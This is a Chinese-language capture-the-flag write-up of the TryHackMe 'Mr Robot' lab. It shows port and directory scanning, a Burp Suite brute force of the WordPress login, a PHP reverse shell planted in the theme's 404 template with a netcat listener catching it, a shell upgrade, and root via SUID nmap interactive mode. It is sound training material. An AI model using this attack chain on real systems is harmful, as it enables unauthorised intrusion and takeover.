



Mr Robot CTF

URL

<https://tryhackme.com/room/mrrobot>

IP

10.10.219.163

```
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
```

```
[~] The config file is expected to be at "/root/.rustscan.toml"
```

Open 10.10.219.163:80


```
Open 10.10.219.163:443
```

```
[~] Starting Script(s)
```

```
[>] Running script "nmap -vvv -p {{port}} {{ip}} -sC -sV" on ip 10.10.219.163
```

Depending on the complexity of the script, results may take some time to appear.

```
[~] Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-24 11:17 CST
```



連進網站後發現是一個Linux開機的畫面且可以打一些有限的指令
但測了一下沒什麼可以利用的，所以做一下目錄探測

```
# dirsearch -u http://10.10.219.163 -w /root/working/raft-small-files.txt -t 500

dirsearch v0.4.2

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 500 | Wordlist size: 11424
File System
Output File: /root/.dirsearch/reports/10.10.219.163/_23-12-24_11-36-18.txt
Error Log: /root/.dirsearch/logs/errors-23-12-24_11-36-18.log
Target: http://10.10.219.163/

[11:36:19] Starting:
[11:36:22] 200 - 227B - /wp-links-opml.php
[11:36:22] 301 - 0B - /index.php → http://10.10.219.163/
[11:36:22] 200 - 3KB - /wp-login.php
[11:36:22] 200 - 0B - /wp-cron.php
[11:36:22] 403 - 214B - /.html
[11:36:22] 200 - 309B - /license.txt
[11:36:23] 200 - 1KB - /.
[11:36:24] 200 - 1KB - /index.html
[11:36:24] 200 - 64B - /readme.html
[11:36:24] 200 - 41B - /robots.txt
[11:36:24] 200 - 0B - /favicon.ico
[11:36:25] 301 - 0B - /wp-rss.php → http://10.10.219.163/feed/
[11:36:25] 301 - 0B - /wp-rss2.php → http://10.10.219.163/feed/
[11:36:25] 200 - 0B - /sitemap.xml
[11:36:25] 301 - 0B - /wp-commentsrss2.php → http://10.10.219.163/comments/feed/
[11:36:25] 200 - 0B - /sitemap.xml.gz
[11:37:20] 403 - 219B - /.htpasswd
[11:37:25] 403 - 213B - /.htm

Task Completed
```

探測完後發現他的後台是wordpress，用wpscan掃一下
打了一下都沒收穫，卡住的時候看了一下robots.txt
居然就找到第一題的答案了

還載到一個字典檔
不知道帳號或密碼有沒有在裡面
但先試了再說

這裡有很多工具可以用，我使用Burp Suite
先掃掃看帳號，把結果的Length排序找不一樣的即可
因為帳號是否存在的訊息不一樣


```
1 POST /wp-login.php HTTP/1.1
2 Host: 10.10.219.163
3 User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 94
9 Origin: http://10.10.219.163
10 DNT: 1
11 Connection: close
12 Referer: http://10.10.219.163/wp-login.php?redirect_to=http%3A%2F%2F10.10.219.163%2Fwp-admin%2F&reauth=1
13 Cookie: s_cc=true; s_fid=23068751CACBCB96-223C1CE77010FC32; s_nr=1703390313909; s_sq=%5B%5BB%5D%5D; wordpress_test_cookie=WP+Cookie+check
14 Upgrade-Insecure-Requests: 1
15
16 log=5a5&pwd=a&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.10.219.163%2Fwp-admin%2F&testcookie=1
```

Request	Payload	Status code	Error	Timeout	Length
245	GPT		<input type="checkbox"/>	<input type="checkbox"/>	
15	Elliot	200	<input type="checkbox"/>	<input type="checkbox"/>	4120
0		200	<input type="checkbox"/>	<input type="checkbox"/>	4069
1	true	200	<input type="checkbox"/>	<input type="checkbox"/>	4069
2	false	200	<input type="checkbox"/>	<input type="checkbox"/>	4069
3	wikia	200	<input type="checkbox"/>	<input type="checkbox"/>	4069

成功取得帳號，把變數交換一下
結果也成功取得密碼

```
log=a&pwd=$a&wp-submit=Log+In
```

於是就成功登入wordpress的後台
結果這支帳號居然是Administrator

這樣就好解決了
直接去Editor上傳php的reverse shell就好了

我選擇了404的這支php，因為不用特別去看網址是啥，隨便打就觸發了

Edit Themes

Twenty Fifteen: 404 Template (404.php)

IP跟Port都打好就可以上傳了，也把該Listen的Port聽一聽

?>

Documentation:

```
# nc -lvnp 9999
listening on [any] 9999 ...
```



接著透過瀏覽器在網址列IP後亂打，只要能觸發404
就會回彈shell

Status

404 Not Found ?

```
nc -lvnp 9999
listening on [any] 9999 ...
connect to [10.8.58.168] from (UNKNOWN) [10.10.75.206] 39235
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
05:36:59 up 18 min, 0 users, 1 load average: 0.00, 0.01, 0.05
USER      TTY      FROM          LOGIN@   IDLE   JCPU   PCPU   WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$
```

在robot的家目錄即可找到第二題答案
家目錄還有一個檔案，裡面是robot的密碼，透過md5雜湊過
隨便找一個md5破解的就可以得到密碼




```
$ python3 -c 'import pty; pty.spawn("/bin/bash")'  
daemon@linux:/home/robot$ ^Z  
zsh: suspended nc -lvnp 9999  
  
└─(root@kali)-[~]  
└─# stty raw -echo ; fg  
[1] + continued nc -lvnp 9999  
  
daemon@linux:/home/robot$
```

先換成互動式的shell，再切成robot

```
daemon@linux:/home/robot$ su - robot  
Password:  
$ bash  
robot@linux:~$
```

找了幾個常見的提權點，在準備要用上linpeas時
想到還有SUID還沒看



```
robot@linux:~$ find / -perm /4000 2> /dev/null
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmccrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown
```

去GTFOBins找nmap透過SUID提權的方法

```
robot@linux:~$ nmap --interactive

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
#
# id
uid=1002(robot) gid=1002(robot) euid=0(root) groups=0(root),1002(robot)
```

在root的家目錄即可找到第三題答案

